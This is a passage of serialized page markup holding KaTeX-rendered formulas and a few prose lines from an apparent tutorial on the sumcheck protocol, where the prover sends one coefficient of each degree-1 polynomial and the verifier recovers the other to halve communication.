",{"type":24,"tag":284,"props":116726,"children":116728},{"className":116727},[2949,2950],[116729],{"type":24,"tag":327,"props":116730,"children":116732},{"className":116731},[2955],[116733],{"type":24,"tag":327,"props":116734,"children":116736},{"className":116735,"ariaHidden":2961},[2960],[116737],{"type":24,"tag":327,"props":116738,"children":116740},{"className":116739},[2966],[116741,116746],{"type":24,"tag":327,"props":116742,"children":116745},{"className":116743,"style":116744},[2971],"height:0.5806em;vertical-align:-0.15em;",[],{"type":24,"tag":327,"props":116747,"children":116749},{"className":116748},[2977],[116750,116755],{"type":24,"tag":327,"props":116751,"children":116753},{"className":116752,"style":99774},[2977,2978],[116754],{"type":29,"value":100593},{"type":24,"tag":327,"props":116756,"children":116758},{"className":116757},[3032],[116759],{"type":24,"tag":327,"props":116760,"children":116762},{"className":116761},[3037,3038],[116763,116793],{"type":24,"tag":327,"props":116764,"children":116766},{"className":116765},[3043],[116767,116788],{"type":24,"tag":327,"props":116768,"children":116770},{"className":116769,"style":100303},[3048],[116771],{"type":24,"tag":327,"props":116772,"children":116774},{"style":116773},"top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;",[116775,116779],{"type":24,"tag":327,"props":116776,"children":116778},{"className":116777,"style":3059},[3058],[],{"type":24,"tag":327,"props":116780,"children":116782},{"className":116781},[3064,3065,3066,3067],[116783],{"type":24,"tag":327,"props":116784,"children":116786},{"className":116785},[2977,2978,3067],[116787],{"type":29,"value":11334},{"type":24,"tag":327,"props":116789,"children":116791},{"className":116790},[3150],[116792],{"type":29,"value":3153},{"type":24,"tag":327,"props":116794,"children":116796},{"className":116795},[3043],[116797],{"type":24,"tag":327,"props":116798,"children":116800},{"className":116799,"style":99857},[3048],[116801],{"type":24,"tag":327,"props":116802,"children":116803},{},[],{"type":29,"value":116805},", with overwhelming probability, the prover won't then be able to match the evaluation of the original polynomial.",{"type":24,"tag":168,"props":116807,"children":116809},{"id":116808},"the-compression-trick",[116810],{"type":29,"value":116811},"The Compression Trick",{"type":24,"tag":25,"props":116813,"children":116814},{},[116815,116817,116967,116969,117249],{"type":29,"value":116816},"For degree-1 (multilinear) polynomials, ",{"type":24,"tag":284,"props":116818,"children":116820},{"className":116819},[2949,2950],[116821],{"type":24,"tag":327,"props":116822,"children":116824},{"className":116823},[2955],[116825],{"type":24,"tag":327,"props":116826,"children":116828},{"className":116827,"ariaHidden":2961},[2960],[116829,116922,116949],{"type":24,"tag":327,"props":116830,"children":116832},{"className":116831},[2966],[116833,116837,116894,116899,116904,116909,116913,116918],{"type":24,"tag":327,"props":116834,"children":116836},{"className":116835,"style":3685},[2971],[],{"type":24,"tag":327,"props":116838,"children":116840},{"className":116839},[2977],[116841,116846],{"type":24,"tag":327,"props":116842,"children":116844},{"className":116843,"style":100260},[2977,2978],[116845],{"type":29,"value":116025},{"type":24,"tag":327,"props":116847,"children":116849},{"className":116848},[3032],[116850],{"type":24,"tag":327,"props":116851,"children":116853},{"className":116852},[3037,3038],[116854,116883],{"type":24,"tag":327,"props":116855,"children":116857},{"className":116856},[3043],[116858,116878],{"type":24,"tag":327,"props":116859,"children":116861},{"className":116860,"style":100303},[3048],[116862],{"type":24,"tag":327,"props":116863,"children":116864},{"style":100307},[116865,116869],{"type":24,"tag":327,"props":116866,"children":116868},{"className":116867,"style":3059},[3058],[],{"type":24,"tag":327,"props":116870,"children":116872},{"className":116871},[3064,3065,3066,3067],[116873],{"type":24,"tag":327,"props":116874,"children":116876},{"className":116875},[2977,2978,3067],[116877],{"type":29,"value":11334},{"type":24,"tag":327,"props":116879,"children":116881},{"className":116880},[3150],[116882],{"type":29,"value":3153},{"type":24,"tag":327,"props":116884,"children":116886},{"className":116885},[3043],[116887],{"type":24,"tag":327,"props":116888,"children":116890},{"className":116889,"style":99857},[3048],[116891],{"type":24,"tag":327,"props":116892,"children":116893},{},[],{"type":24,"tag":327,"props":116895,"children":116897},{"className":116896},[3121],[116898],{"type":29,"value":349},{"type":24,"tag":327,"props":116900,"children":116902},{"className":116901,"style":101794},[2977,2978],[116903],{"type":29,"value":13700},{"type":24,"tag":327,"props":116905,"children":116907},{"className":116906},[3143],[116908],{"type":29,"value":3146},{"type":24,"tag":327,"props":116910,"children":116912},{"className":116911,"style":2993},[2992],[],{"type":24,"tag":327,"props":116914,"children":116916},{"className":116915},[2998],[116917],{"type":29,"value":384},{"type":24,"tag":327,"props":116919,"children":116921},{"className":116920,"style":2993},[2992],[],{"type":24,"tag":327,"props":116923,"children":116925},{"className":116924},[2966],[116926,116931,116936,116940,116945],{"type":24,"tag":327,"props":116927,"children":116930},{"className":116928,"style":116929},[2971],"height:0.6667em;vertical-align:-0.0833em;",[],{"type":24,"tag":327,"props":116932,"children":116934},{"className":116933},[2977,2978],[116935],{"type":29,"value":57},{"type":24,"tag":327,"props":116937,"children":116939},{"className":116938,"style":3705},[2992],[],{"type":24,"tag":327,"props":116941,"children":116943},{"className":116942},[3710],[116944],{"type":29,"value":394},{"type":24,"tag":327,"props":116946,"children":116948},{"className":116947,"style":3705},[2992],[],{"type":24,"tag":327,"props":116950,"children":116952},{"className":116951},[2966],[116953,116957,116962],{"type":24,"tag":327,"props":116954,"children":116956},{"className":116955,"style":99689},[2971],[],{"type":24,"tag":327,"props":116958,"children":116960},{"className":116959},[2977,2978],[116961],{"type":29,"value":10828},{"type":24,"tag":327,"props":116963,"children":116965},{"className":116964,"style":101794},[2977,2978],[116966],{"type":29,"value":13700},{"type":29,"value":116968}," has only two coefficients. Since the verifier knows ",{"type":24,"tag":284,"props":116970,"children":116972},{"className":116971},[2949,2950],[116973],{"type":24,"tag":327,"props":116974,"children":116976},{"className":116975},[2955],[116977],{"type":24,"tag":327,"props":116978,"children":116980},{"className":116979,"ariaHidden":2961},[2960],[116981,117074,117167],{"type":24,"tag":327,"props":116982,"children":116984},{"className":116983},[2966],[116985,116989,117046,117051,117056,117061,117065,117070],{"type":24,"tag":327,"props":116986,"children":116988},{"className":116987,"style":3685},[2971],[],{"type":24,"tag":327,"props":116990,"children":116992},{"className":116991},[2977],[116993,116998],{"type":24,"tag":327,"props":116994,"children":116996},{"className":116995,"style":100260},[2977,2978],[116997],{"type":29,"value":116025},{"type":24,"tag":327,"props":116999,"children":117001},{"className":117000},[3032],[117002],{"type":24,"tag":327,"props":117003,"children":117005},{"className":117004},[3037,3038],[117006,117035],{"type":24,"tag":327,"props":117007,"children":117009},{"className":117008},[3043],[117010,117030],{"type":24,"tag":327,"props":117011,"children":117013},{"className":117012,"style":100303},[3048],[117014],{"type":24,"tag":327,"props":117015,"children":117016},{"style":100307},[117017,117021],{"type":24,"tag":327,"props":117018,"children":117020},{"className":117019,"style":3059},[3058],[],{"type":24,"tag":327,"props":117022,"children":117024},{"className":117023},[3064,3065,3066,3067],[117025],{"type":24,"tag":327,"props":117026,"children":117028},{"className":117027},[2977,2978,3067],[117029],{"type":29,"value":11334},{"type":24,"tag":327,"props":117031,"children":117033},{"className":117032},[3150],[117034],{"type":29,"value":3153},{"type":24,"tag":327,"props":117036,"children":117038},{"className":117037},[3043],[117039],{"type":24,"tag":327,"props":117040,"children":117042},{"className":117041,"style":99857},[3048],[117043],{"type":24,"tag":327,"props":117044,"children":117045},{},[],{"type":24,"tag":327,"props":117047,"children":117049},{"className":117048},[3121],[117050],{"type":29,"value":349},{"type":24,"tag":327,"props":117052,"children":117054},{"className":117053},[2977],[117055],{"type":29,"value":2988},{"type":24,"tag":327,"props":117057,"children":117059},{"className":117058},[3143],[117060],{"type":29,"value":3146},{"type":24,"tag":327,"props":117062,"children":117064},{"className":117063,"style":3705},[2992],[],{"type":24,"tag":327,"props":117066,"children":117068},{"className":117067},[3710],[117069],{"type":29,"value":394},{"type":24,"tag":327,"props":117071,"children":117073},{"className":117072,"style":3705},[2992],[],{"type":24,"tag":327,"props":117075,"children":117077},{"className":117076},[2966],[117078,117082,117139,117144,117149,117154,117158,117163],{"type":24,"tag":327,"props":117079,"children":117081},{"className":117080,"style":3685},[2971],[],{"type":24,"tag":327,"props":117083,"children":117085},{"className":117084},[2977],[117086,117091],{"type":24,"tag":327,"props":117087,"children":117089},{"className":117088,"style":100260},[2977,2978],[117090],{"type":29,"value":116025},{"type":24,"tag":327,"props":117092,"children":117094},{"className":117093},[3032],[117095],{"type":24,"tag":327,"props":117096,"children":117098},{"className":117097},[3037,3038],[117099,117128],{"type":24,"tag":327,"props":117100,"children":117102},{"className":117101},[3043],[117103,117123],{"type":24,"tag":327,"props":117104,"children":117106},{"className":117105,"style":100303},[3048],[117107],{"type":24,"tag":327,"props":117108,"children":117109},{"style":100307},[117110,117114],{"type":24,"tag":327,"props":117111,"children":117113},{"className":117112,"style":3059},[3058],[],{"type":24,"tag":327,"props":117115,"children":117117},{"className":117116},[3064,3065,3066,3067],[117118],{"type":24,"tag":327,"props":117119,"children":117121},{"className":117120},[2977,2978,3067],[117122],{"type":29,"value":11334},{"type":24,"tag":327,"props":117124,"children":117126},{"className":117125},[3150],[117127],{"type":29,"value":3153},{"type":24,"tag":327,"props":117129,"children":117131},{"className":117130},[3043],[117132],{"type":24,"tag":327,"props":117133,"children":117135},{"className":117134,"style":99857},[3048],[117136],{"type":24,"tag":327,"props":117137,"children":117138},{},[],{"type":24,"tag":327,"props":117140,"children":117142},{"className":117141},[3121],[117143],{"type":29,"value":349},{"type":24,"tag":327,"props":117145,"children":117147},{"className":117146},[2977],[117148],{"type":29,"value":3238},{"type":24,"tag":327,"props":117150,"children":117152},{"className":117151},[3143],[117153],{"type":29,"value":3146},{"type":24,"tag":327,"props":117155,"children":117157},{"className":117156,"style":2993},[2992],[],{"type":24,"tag":327,"props":117159,"children":117161},{"className":117160},[2998],[117162],{"type":29,"value":384},{"type":24,"tag":327,"props":117164,"children":117166},{"className":117165,"style":2993},[2992],[],{"type":24,"tag":327,"props":117168,"children":117170},{"className":117169},[2966],[117171,117176],{"type":24,"tag":327,"props":117172,"children":117175},{"className":117173,"style":117174},[2971],"height:0.8917em;vertical-align:-0.2083em;",[],{"type":24,"tag":327,"props":117177,"children":117179},{"className":117178},[2977],[117180,117185],{"type":24,"tag":327,"props":117181,"children":117183},{"className":117182,"style":100008},[2977,2978],[117184],{"type":29,"value":100011},{"type":24,"tag":327,"props":117186,"children":117188},{"className":117187},[3032],[117189],{"type":24,"tag":327,"props":117190,"children":117192},{"className":117191},[3037,3038],[117193,117237],{"type":24,"tag":327,"props":117194,"children":117196},{"className":117195},[3043],[117197,117232],{"type":24,"tag":327,"props":117198,"children":117200},{"className":117199,"style":100303},[3048],[117201],{"type":24,"tag":327,"props":117202,"children":117204},{"style":117203},"top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;",[117205,117209],{"type":24,"tag":327,"props":117206,"children":117208},{"className":117207,"style":3059},[3058],[],{"type":24,"tag":327,"props":117210,"children":117212},{"className":117211},[3064,3065,3066,3067],[117213],{"type":24,"tag":327,"props":117214,"children":117216},{"className":117215},[2977,3067],[117217,117222,117227],{"type":24,"tag":327,"props":117218,"children":117220},{"className":117219},[2977,2978,3067],[117221],{"type":29,"value":11334},{"type":24,"tag":327,"props":117223,"children":117225},{"className":117224},[3710,3067],[117226],{"type":29,"value":11647},{"type":24,"tag":327,"props":117228,"children":117230},{"className":117229},[2977,3067],[117231],{"type":29,"value":3238},{"type":24,"tag":327,"props":117233,"children":117235},{"className":117234},[3150],[117236],{"type":29,"value":3153},{"type":24,"tag":327,"props":117238,"children":117240},{"className":117239},[3043],[117241],{"type":24,"tag":327,"props":117242,"children":117245},{"className":117243,"style":117244},[3048],"height:0.2083em;",[117246],{"type":24,"tag":327,"props":117247,"children":117248},{},[],{"type":29,"value":117250}," (the previous claim), we have:",{"type":24,"tag":25,"props":117252,"children":117253},{},[117254],{"type":24,"tag":284,"props":117255,"children":117257},{"className":117256},[2949,2950],[117258],{"type":24,"tag":327,"props":117259,"children":117261},{"className":117260},[2955],[117262],{"type":24,"tag":327,"props":117263,"children":117265},{"className":117264,"ariaHidden":2961},[2960],[117266,117292,117323,117354,117455,117481,117573],{"type":24,"tag":327,"props":117267,"children":117269},{"className":117268},[2966],[117270,117274,117279,117283,117288],{"type":24,"tag":327,"props":117271,"children":117273},{"className":117272,"style":116929},[2971],[],{"type":24,"tag":327,"props":117275,"children":117277},{"className":117276},[2977,2978],[117278],{"type":29,"value":57},{"type":24,"tag":327,"props":117280,"children":117282},{"className":117281,"style":3705},[2992],[],{"type":24,"tag":327,"props":117284,"children":117286},{"className":117285},[3710],[117287],{"type":29,"value":394},{"type":24,"tag":327,"props":117289,"children":117291},{"className":117290,"style":3705},[2992],[],{"type":24,"tag":327,"props":117293,"children":117295},{"className":117294},[2966],[117296,117300,117305,117310,117314,117319],{"type":24,"tag":327,"props":117297,"children":117299},{"className":117298,"style":3685},[2971],[],{"type":24,"tag":327,"props":117301,"children":117303},{"className":117302},[3121],[117304],{"type":29,"value":349},{"type":24,"tag":327,"props":117306,"children":117308},{"className":117307},[2977,2978],[117309],{"type":29,"value":57},{"type":24,"tag":327,"props":117311,"children":117313},{"className":117312,"style":3705},[2992],[],{"type":24,"tag":327,"props":117315,"children":117317},{"className":117316},[3710],[117318],{"type":29,"value":394},{"type":24,"tag":327,"props":117320,"children":117322},{"className":117321,"style":3705},[2992],[],{"type":24,"tag":327,"props":117324,"children":117326},{"className":117325},[2966],[117327,117331,117336,117341,117345,117350],{"type":24,"tag":327,"props":117328,"children":117330},{"className":117329,"style":3685},[2971],[],{"type":24,"tag":327,"props":117332,"children":117334},{"className":117333},[2977,2978],[117335],{"type":29,"value":10828},{"type":24,"tag":327,"props":117337,"children":117339},{"className":117338},[3143],[117340],{"type":29,"value":3146},{"type":24,"tag":327,"props":117342,"children":117344},{"className":117343,"style":2993},[2992],[],{"type":24,"tag":327,"props":117346,"children":117348},{"className":117347},[2998],[117349],{"type":29,"value":384},{"type":24,"tag":327,"props":117351,"children":117353},{"className":117352,"style":2993},[2992],[],{"type":24,"tag":327,"props":117355,"children":117357},{"className":117356},[2966],[117358,117362,117433,117437,117441,117447,117451],{"type":24,"tag":327,"props":117359,"children":117361},{"className":117360,"style":117174},[2971],[],{"type":24,"tag":327,"props":117363,"children":117365},{"className":117364},[2977],[117366,117371],{"type":24,"tag":327,"props":117367,"children":117369},{"className":117368,"style":100008},[2977,2978],[117370],{"type":29,"value":100011},{"type":24,"tag":327,"props":117372,"children":117374},{"className":117373},[3032],[117375],{"type":24,"tag":327,"props":117376,"children":117378},{"className":117377},[3037,3038],[117379,117422],{"type":24,"tag":327,"props":117380,"children":117382},{"className":117381},[3043],[117383,117417],{"type":24,"tag":327,"props":117384,"children":117386},{"className":117385,"style":100303},[3048],[117387],{"type":24,"tag":327,"props":117388,"children":117389},{"style":117203},[117390,117394],{"type":24,"tag":327,"props":117391,"children":117393},{"className":117392,"style":3059},[3058],[],{"type":24,"tag":327,"props":117395,"children":117397},{"className":117396},[3064,3065,3066,3067],[117398],{"type":24,"tag":327,"props":117399,"children":117401},{"className":117400},[2977,3067],[117402,117407,117412],{"type":24,"tag":327,"props":117403,"children":117405},{"className":117404},[2977,2978,3067],[117406],{"type":29,"value":11334},{"type":24,"tag":327,"props":117408,"children":117410},{"className":117409},[3710,3067],[117411],{"type":29,"value":11647},{"type":24,"tag":327,"props":117413,"children":117415},{"className":117414},[2977,3067],[117416],{"type":29,"value":3238},{"type":24,"tag":327,"props":117418,"children":117420},{"className":117419},[3150],[117421],{"type":29,"value":3153},{"type":24,"tag":327,"props":117423,"children":117425},{"className":117424},[3043],[117426],{"type":24,"tag":327,"props":117427,"children":117429},{"className":117428,"style":117244},[3048],[117430],{"type":24,"tag":327,"props":117431,"children":117432},{},[],{"type":24,"tag":327,"props":117434,"children":117436},{"className":117435,"style":2993},[2992],[],{"type":24,"tag":327,"props":117438,"children":117440},{"className":117439,"style":2993},[2992],[],{"type":24,"tag":327,"props":117442,"children":117444},{"className":117443},[2998],[117445],{"type":29,"value":117446},"⟹",{"type":24,"tag":327,"props":117448,"children":117450},{"className":117449,"style":2993},[2992],[],{"type":24,"tag":327,"props":117452,"children":117454},{"className":117453,"style":2993},[2992],[],{"type":24,"tag":327,"props":117456,"children":117458},{"className":117457},[2966],[117459,117463,117468,117472,117477],{"type":24,"tag":327,"props":117460,"children":117462},{"className":117461,"style":99689},[2971],[],{"type":24,"tag":327,"props":117464,"children":117466},{"className":117465},[2977,2978],[117467],{"type":29,"value":10828},{"type":24,"tag":327,"props":117469,"children":117471},{"className":117470,"style":2993},[2992],[],{"type":24,"tag":327,"props":117473,"children":117475},{"className":117474},[2998],[117476],{"type":29,"value":384},{"type":24,"tag":327,"props":117478,"children":117480},{"className":117479,"style":2993},[2992],[],{"type":24,"tag":327,"props":117482,"children":117484},{"className":117483},[2966],[117485,117489,117560,117564,117569],{"type":24,"tag":327,"props":117486,"children":117488},{"className":117487,"style":117174},[2971],[],{"type":24,"tag":327,"props":117490,"children":117492},{"className":117491},[2977],[117493,117498],{"type":24,"tag":327,"props":117494,"children":117496},{"className":117495,"style":100008},[2977,2978],[117497],{"type":29,"value":100011},{"type":24,"tag":327,"props":117499,"children":117501},{"className":117500},[3032],[117502],{"type":24,"tag":327,"props":117503,"children":117505},{"className":117504},[3037,3038],[117506,117549],{"type":24,"tag":327,"props":117507,"children":117509},{"className":117508},[3043],[117510,117544],{"type":24,"tag":327,"props":117511,"children":117513},{"className":117512,"style":100303},[3048],[117514],{"type":24,"tag":327,"props":117515,"children":117516},{"style":117203},[117517,117521],{"type":24,"tag":327,"props":117518,"children":117520},{"className":117519,"style":3059},[3058],[],{"type":24,"tag":327,"props":117522,"children":117524},{"className":117523},[3064,3065,3066,3067],[117525],{"type":24,"tag":327,"props":117526,"children":117528},{"className":117527},[2977,3067],[117529,117534,117539],{"type":24,"tag":327,"props":117530,"children":117532},{"className":117531},[2977,2978,3067],[117533],{"type":29,"value":11334},{"type":24,"tag":327,"props":117535,"children":117537},{"className":117536},[3710,3067],[117538],{"type":29,"value":11647},{"type":24,"tag":327,"props":117540,"children":117542},{"className":117541},[2977,3067],[117543],{"type":29,"value":3238},{"type":24,"tag":327,"props":117545,"children":117547},{"className":117546},[3150],[117548],{"type":29,"value":3153},{"type":24,"tag":327,"props":117550,"children":117552},{"className":117551},[3043],[117553],{"type":24,"tag":327,"props":117554,"children":117556},{"className":117555,"style":117244},[3048],[117557],{"type":24,"tag":327,"props":117558,"children":117559},{},[],{"type":24,"tag":327,"props":117561,"children":117563},{"className":117562,"style":3705},[2992],[],{"type":24,"tag":327,"props":117565,"children":117567},{"className":117566},[3710],[117568],{"type":29,"value":11647},{"type":24,"tag":327,"props":117570,"children":117572},{"className":117571,"style":3705},[2992],[],{"type":24,"tag":327,"props":117574,"children":117576},{"className":117575},[2966],[117577,117581,117586],{"type":24,"tag":327,"props":117578,"children":117580},{"className":117579,"style":100805},[2971],[],{"type":24,"tag":327,"props":117582,"children":117584},{"className":117583},[2977],[117585],{"type":29,"value":10731},{"type":24,"tag":327,"props":117587,"children":117589},{"className":117588},[2977,2978],[117590],{"type":29,"value":57},{"type":24,"tag":25,"props":117592,"children":117593},{},[117594,117596,117715,117717,117742],{"type":29,"value":117595},"So the prover only sends ",{"type":24,"tag":284,"props":117597,"children":117599},{"className":117598},[2949,2950],[117600],{"type":24,"tag":327,"props":117601,"children":117603},{"className":117602},[2955],[117604],{"type":24,"tag":327,"props":117605,"children":117607},{"className":117606,"ariaHidden":2961},[2960],[117608,117635],{"type":24,"tag":327,"props":117609,"children":117611},{"className":117610},[2966],[117612,117617,117622,117626,117631],{"type":24,"tag":327,"props":117613,"children":117616},{"className":117614,"style":117615},[2971],"height:0.4306em;",[],{"type":24,"tag":327,"props":117618,"children":117620},{"className":117619},[2977,2978],[117621],{"type":29,"value":57},{"type":24,"tag":327,"props":117623,"children":117625},{"className":117624,"style":2993},[2992],[],{"type":24,"tag":327,"props":117627,"children":117629},{"className":117628},[2998],[117630],{"type":29,"value":384},{"type":24,"tag":327,"props":117632,"children":117634},{"className":117633,"style":2993},[2992],[],{"type":24,"tag":327,"props":117636,"children":117638},{"className":117637},[2966],[117639,117643,117700,117705,117710],{"type":24,"tag":327,"props":117640,"children":117642},{"className":117641,"style":3685},[2971],[],{"type":24,"tag":327,"props":117644,"children":117646},{"className":117645},[2977],[117647,117652],{"type":24,"tag":327,"props":117648,"children":117650},{"className":117649,"style":100260},[2977,2978],[117651],{"type":29,"value":116025},{"type":24,"tag":327,"props":117653,"children":117655},{"className":117654},[3032],[117656],{"type":24,"tag":327,"props":117657,"children":117659},{"className":117658},[3037,3038],[117660,117689],{"type":24,"tag":327,"props":117661,"children":117663},{"className":117662},[3043],[117664,117684],{"type":24,"tag":327,"props":117665,"children":117667},{"className":117666,"style":100303},[3048],[117668],{"type":24,"tag":327,"props":117669,"children":117670},{"style":100307},[117671,117675],{"type":24,"tag":327,"props":117672,"children":117674},{"className":117673,"style":3059},[3058],[],{"type":24,"tag":327,"props":117676,"children":117678},{"className":117677},[3064,3065,3066,3067],[117679],{"type":24,"tag":327,"props":117680,"children":117682},{"className":117681},[2977,2978,3067],[117683],{"type":29,"value":11334},{"type":24,"tag":327,"props":117685,"children":117687},{"className":117686},[3150],[117688],{"type":29,"value":3153},{"type":24,"tag":327,"props":117690,"children":117692},{"className":117691},[3043],[117693],{"type":24,"tag":327,"props":117694,"children":117696},{"className":117695,"style":99857},[3048],[117697],{"type":24,"tag":327,"props":117698,"children":117699},{},[],{"type":24,"tag":327,"props":117701,"children":117703},{"className":117702},[3121],[117704],{"type":29,"value":349},{"type":24,"tag":327,"props":117706,"children":117708},{"className":117707},[2977],[117709],{"type":29,"value":2988},{"type":24,"tag":327,"props":117711,"children":117713},{"className":117712},[3143],[117714],{"type":29,"value":3146},{"type":29,"value":117716},", and the verifier recovers ",{"type":24,"tag":284,"props":117718,"children":117720},{"className":117719},[2949,2950],[117721],{"type":24,"tag":327,"props":117722,"children":117724},{"className":117723},[2955],[117725],{"type":24,"tag":327,"props":117726,"children":117728},{"className":117727,"ariaHidden":2961},[2960],[117729],{"type":24,"tag":327,"props":117730,"children":117732},{"className":117731},[2966],[117733,117737],{"type":24,"tag":327,"props":117734,"children":117736},{"className":117735,"style":99689},[2971],[],{"type":24,"tag":327,"props":117738,"children":117740},{"className":117739},[2977,2978],[117741],{"type":29,"value":10828},{"type":29,"value":117743},". This saves 50% on communication costs.",{"type":24,"tag":25,"props":117745,"children":117746},{},[117747],{"type":29,"value":117748},"The next claim in the chain is",{"type":24,"tag":25,"props":117750,"children":117751},{},[117752],{"type":24,"tag":284,"props":117753,"children":117755},{"className":117754},[2949,2950],[117756],{"type":24,"tag":327,"props":117757,"children":117759},{"className":117758},[2955],[117760],{"type":24,"tag":327,"props":117761,"children":117763},{"className":117762,"ariaHidden":2961},[2960],[117764,117843,117988,118014,118041,118119,118145,118242,118278,118356,118392,118480,118572],{"type":24,"tag":327,"props":117765,"children":117767},{"className":117766},[2966],[117768,117773,117830,117834,117839],{"type":24,"tag":327,"props":117769,"children":117772},{"className":117770,"style":117771},[2971],"height:0.8333em;vertical-align:-0.15em;",[],{"type":24,"tag":327,"props":117774,"children":117776},{"className":117775},[2977],[117777,117782],{"type":24,"tag":327,"props":117778,"children":117780},{"className":117779,"style":100008},[2977,2978],[117781],{"type":29,"value":100011},{"type":24,"tag":327,"props":117783,"children":117785},{"className":117784},[3032],[117786],{"type":24,"tag":327,"props":117787,"children":117789},{"className":117788},[3037,3038],[117790,117819],{"type":24,"tag":327,"props":117791,"children":117793},{"className":117792},[3043],[117794,117814],{"type":24,"tag":327,"props":117795,"children":117797},{"className":117796,"style":100303},[3048],[117798],{"type":24,"tag":327,"props":117799,"children":117800},{"style":117203},[117801,117805],{"type":24,"tag":327,"props":117802,"children":117804},{"className":117803,"style":3059},[3058],[],{"type":24,"tag":327,"props":117806,"children":117808},{"className":117807},[3064,3065,3066,3067],[117809],{"type":24,"tag":327,"props":117810,"children":117812},{"className":117811},[2977,2978,3067],[117813],{"type":29,"value":11334},{"type":24,"tag":327,"props":117815,"children":117817},{"className":117816},[3150],[117818],{"type":29,"value":3153},{"type":24,"tag":327,"props":117820,"children":117822},{"className":117821},[3043],[117823],{"type":24,"tag":327,"props":117824,"children":117826},{"className":117825,"style":99857},[3048],[117827],{"type":24,"tag":327,"props":117828,"children":117829},{},[],{"type":24,"tag":327,"props":117831,"children":117833},{"className":117832,"style":2993},[2992],[],{"type":24,"tag":327,"props":117835,"children":117837},{"className":117836},[2998],[117838],{"type":29,"value":384},{"type":24,"tag":327,"props":117840,"children":117842},{"className":117841,"style":2993},[2992],[],{"type":24,"tag":327,"props":117844,"children":117846},{"className":117845},[2966],[117847,117851,117908,117913,117970,117975,117979,117984],{"type":24,"tag":327,"props":117848,"children":117850},{"className":117849,"style":3685},[2971],[],{"type":24,"tag":327,"props":117852,"children":117854},{"className":117853},[2977],[117855,117860],{"type":24,"tag":327,"props":117856,"children":117858},{"className":117857,"style":100260},[2977,2978],[117859],{"type":29,"value":116025},{"type":24,"tag":327,"props":117861,"children":117863},{"className":117862},[3032],[117864],{"type":24,"tag":327,"props":117865,"children":117867},{"className":117866},[3037,3038],[117868,117897],{"type":24,"tag":327,"props":117869,"children":117871},{"className":117870},[3043],[117872,117892],{"type":24,"tag":327,"props":117873,"children":117875},{"className":117874,"style":100303},[3048],[117876],{"type":24,"tag":327,"props":117877,"children":117878},{"style":100307},[117879,117883],{"type":24,"tag":327,"props":117880,"children":117882},{"className":117881,"style":3059},[3058],[],{"type":24,"tag":327,"props":117884,"children":117886},{"className":117885},[3064,3065,3066,3067],[117887],{"type":24,"tag":327,"props":117888,"children":117890},{"className":117889},[2977,2978,3067],[117891],{"type":29,"value":11334},{"type":24,"tag":327,"props":117893,"children":117895},{"className":117894},[3150],[117896],{"type":29,"value":3153},{"type":24,"tag":327,"props":117898,"children":117900},{"className":117899},[3043],[117901],{"type":24,"tag":327,"props":117902,"children":117904},{"className":117903,"style":99857},[3048],[117905],{"type":24,"tag":327,"props":117906,"children":117907},{},[],{"type":24,"tag":327,"props":117909,"children":117911},{"className":117910},[3121],[117912],{"type":29,"value":349},{"type":24,"tag":327,"props":117914,"children":117916},{"className":117915},[2977],[117917,117922],{"type":24,"tag":327,"props":117918,"children":117920},{"className":117919,"style":99774},[2977,2978],[117921],{"type":29,"value":100593},{"type":24,"tag":327,"props":117923,"children":117925},{"className":117924},[3032],[117926],{"type":24,"tag":327,"props":117927,"children":117929},{"className":117928},[3037,3038],[117930,117959],{"type":24,"tag":327,"props":117931,"children":117933},{"className":117932},[3043],[117934,117954],{"type":24,"tag":327,"props":117935,"children":117937},{"className":117936,"style":100303},[3048],[117938],{"type":24,"tag":327,"props":117939,"children":117940},{"style":116773},[117941,117945],{"type":24,"tag":327,"props":117942,"children":117944},{"className":117943,"style":3059},[3058],[],{"type":24,"tag":327,"props":117946,"children":117948},{"className":117947},[3064,3065,3066,3067],[117949],{"type":24,"tag":327,"props":117950,"children":117952},{"className":117951},[2977,2978,3067],[117953],{"type":29,"value":11334},{"type":24,"tag":327,"props":117955,"children":117957},{"className":117956},[3150],[117958],{"type":29,"value":3153},{"type":24,"tag":327,"props":117960,"children":117962},{"className":117961},[3043],[117963],{"type":24,"tag":327,"props":117964,"children":117966},{"className":117965,"style":99857},[3048],[117967],{"type":24,"tag":327,"props":117968,"children":117969},{},[],{"type":24,"tag":327,"props":117971,"children":117973},{"className":117972},[3143],[117974],{"type":29,"value":3146},{"type":24,"tag":327,"props":117976,"children":117978},{"className":117977,"style":2993},[2992],[],{"type":24,"tag":327,"props":117980,"children":117982},{"className":117981},[2998],[117983],{"type":29,"value":384},{"type":24,"tag":327,"props":117985,"children":117987},{"className":117986,"style":2993},[2992],[],{"type":24,"tag":327,"props":117989,"children":117991},{"className":117990},[2966],[117992,117996,118001,118005,118010],{"type":24,"tag":327,"props":117993,"children":117995},{"className":117994,"style":116929},[2971],[],{"type":24,"tag":327,"props":117997,"children":117999},{"className":117998},[2977,2978],[118000],{"type":29,"value":57},{"type":24,"tag":327,"props":118002,"children":118004},{"className":118003,"style":3705},[2992],[],{"type":24,"tag":327,"props":118006,"children":118008},{"className":118007},[3710],[118009],{"type":29,"value":394},{"type":24,"tag":327,"props":118011,"children":118013},{"className":118012,"style":3705},[2992],[],{"type":24,"tag":327,"props":118015,"children":118017},{"className":118016},[2966],[118018,118022,118027,118031,118037],{"type":24,"tag":327,"props":118019,"children":118021},{"className":118020,"style":99689},[2971],[],{"type":24,"tag":327,"props":118023,"children":118025},{"className":118024},[2977,2978],[118026],{"type":29,"value":10828},{"type":24,"tag":327,"props":118028,"children":118030},{"className":118029,"style":3705},[2992],[],{"type":24,"tag":327,"props":118032,"children":118034},{"className":118033},[3710],[118035],{"type":29,"value":118036},"⋅",{"type":24,"tag":327,"props":118038,"children":118040},{"className":118039,"style":3705},[2992],[],{"type":24,"tag":327,"props":118042,"children":118044},{"className":118043},[2966],[118045,118049,118106,118110,118115],{"type":24,"tag":327,"props":118046,"children":118048},{"className":118047,"style":116744},[2971],[],{"type":24,"tag":327,"props":118050,"children":118052},{"className":118051},[2977],[118053,118058],{"type":24,"tag":327,"props":118054,"children":118056},{"className":118055,"style":99774},[2977,2978],[118057],{"type":29,"value":100593},{"type":24,"tag":327,"props":118059,"children":118061},{"className":118060},[3032],[118062],{"type":24,"tag":327,"props":118063,"children":118065},{"className":118064},[3037,3038],[118066,118095],{"type":24,"tag":327,"props":118067,"children":118069},{"className":118068},[3043],[118070,118090],{"type":24,"tag":327,"props":118071,"children":118073},{"className":118072,"style":100303},[3048],[118074],{"type":24,"tag":327,"props":118075,"children":118076},{"style":116773},[118077,118081],{"type":24,"tag":327,"props":118078,